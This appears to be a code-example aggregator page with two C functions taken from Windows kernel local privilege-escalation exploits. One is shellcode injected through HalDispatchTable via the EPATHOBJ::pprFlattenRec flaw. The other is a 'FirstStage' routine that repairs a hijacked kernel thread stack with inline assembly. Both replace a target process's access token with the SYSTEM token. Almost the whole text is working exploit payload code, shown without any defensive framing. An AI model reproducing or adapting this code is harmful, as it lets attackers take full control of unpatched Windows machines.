Ejemplo n.º 1
0
// This routine is injected into nt!HalDispatchTable by EPATHOBJ::pprFlattenRec.
ULONG __stdcall ShellCode(DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4)
{
    PVOID  TargetProcess;

    // Record that the exploit completed.
    Finished = 1;

    // Fix the corrupted HalDispatchTable,
    HalDispatchTable[1] = HalQuerySystemInformation;

    // Find the EPROCESS structure for the process I want to escalate
    if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
        PACCESS_TOKEN SystemToken;
        PACCESS_TOKEN TargetToken;

        // Find the Token object for my target process, and the SYSTEM process.
        TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
        SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);

        // Find the token in the target process, and replace with the system token.
        FindAndReplaceMember((PDWORD) TargetProcess,
                             (DWORD)  TargetToken,
                             (DWORD)  SystemToken,
                             0x200);
    }

    return 0;
}
Ejemplo n.º 2
0
// This routine is where I land after successfully triggering the vulnerability.
VOID FirstStage()
{
	FARPROC DbgPrint;
	FARPROC PsGetCurrentThread;
	FARPROC PsGetCurrentProcessId;
	FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit;
	FARPROC PsLookupProcessByProcessId;
	FARPROC PsReferencePrimaryToken;
	FARPROC ZwTerminateProcess;
	PVOID CurrentProcess;
	PVOID CurrentThread;
	PVOID TargetProcess, *PsInitialSystemProcess;
	DWORD StackBase, StackLimit, NewStack;
	DWORD i;
	LIST_ENTRY *ThreadListHead;
	HANDLE pid;
	HANDLE pret;

	// Keep interrupts off until I've repaired my KTHREAD.
	__asm cli

	// Resolve some routines I need from the kernel export directory
	DbgPrint                        = KernelGetProcByName("DbgPrint");
	PsGetCurrentThread              = KernelGetProcByName("PsGetCurrentThread");
	PsGetCurrentThreadStackBase     = KernelGetProcByName("PsGetCurrentThreadStackBase");
	PsGetCurrentThreadStackLimit    = KernelGetProcByName("PsGetCurrentThreadStackLimit");
	PsInitialSystemProcess          = KernelGetProcByName("PsInitialSystemProcess");
	PsLookupProcessByProcessId      = KernelGetProcByName("PsLookupProcessByProcessId");
	PsReferencePrimaryToken         = KernelGetProcByName("PsReferencePrimaryToken");
	ZwTerminateProcess              = KernelGetProcByName("ZwTerminateProcess");

	CurrentThread                   = (PVOID) PsGetCurrentThread();
	StackLimit                      = (DWORD) PsGetCurrentThreadStackLimit();
	StackBase                       = (DWORD) PsGetCurrentThreadStackBase();

	//DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p\n",
	//         CurrentThread,
	//         StackBase,
	//        StackLimit);

	NewStack = StackBase - ((StackBase - StackLimit) / 2);

	// First I need to repair my CurrentThread, find all references to my fake kernel
	// stack and repair them. Note that by "repair" I mean randomly point them
	// somewhere inside the real stack.

	// Walk only the offsets that could possibly be bad based on testing, and see if they need
	// to be swapped out.  O(n^2) -> O(c) wins the race!
	for (i = 0; i < sizeof(ethreadOffsets) / sizeof (DWORD); i++) {
		CheckAndReplace((((PDWORD) CurrentThread)+ethreadOffsets[i]),
			(DWORD) &KernelStackPointer[0],
			(DWORD) &KernelStackPointer[KernelStackSize - 1],
			(DWORD) NewStack);
	}


	// Find the EPROCESS structure for the process I want to escalate
	if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
		PACCESS_TOKEN SystemToken;
		PACCESS_TOKEN TargetToken;

		// What's the maximum size the EPROCESS structure is ever likely to be?
		CONST DWORD MaxExpectedEprocessSize = 0x200;

		// DbgPrint("PsLookupProcessByProcessId(%u) => %p\n", TargetPid, TargetProcess);
		//DbgPrint("PsInitialSystemProcess @%p\n", *PsInitialSystemProcess);

		// Find the Token object for my target process, and the SYSTEM process.
		TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
		SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);

		//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", TargetProcess, TargetToken);
		//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", *PsInitialSystemProcess, SystemToken);

		// Find the token in the target process, and replace with the system token.
		FindAndReplaceMember((PDWORD) TargetProcess,
			(DWORD) TargetToken,
			(DWORD) SystemToken,
			MaxExpectedEprocessSize,
			TRUE);
		// Success
		pret = 'w00t';
	} else {
		// Maybe the user closed the window?
		// Report this failure
		pret = 'LPID';
	}

	__asm {
		mov eax, -1   // ZwCurrentProcess macro returns -1
		mov ebx, NewStack
		mov ecx, pret
		mov edi, ZwTerminateProcess
		mov esp, ebx  // Swap the stack back to kernel-land
		mov ebp, ebx  // Swap the frame pointer back to kernel-land
		sub esp, 256
		push ecx      // Push the return code
		push eax      // Push the process handle
		sti           // Restore interrupts finally
		call edi      // Call ZwTerminateProcess
		__emit 0xCC;  // Hope we never end up here
	}
}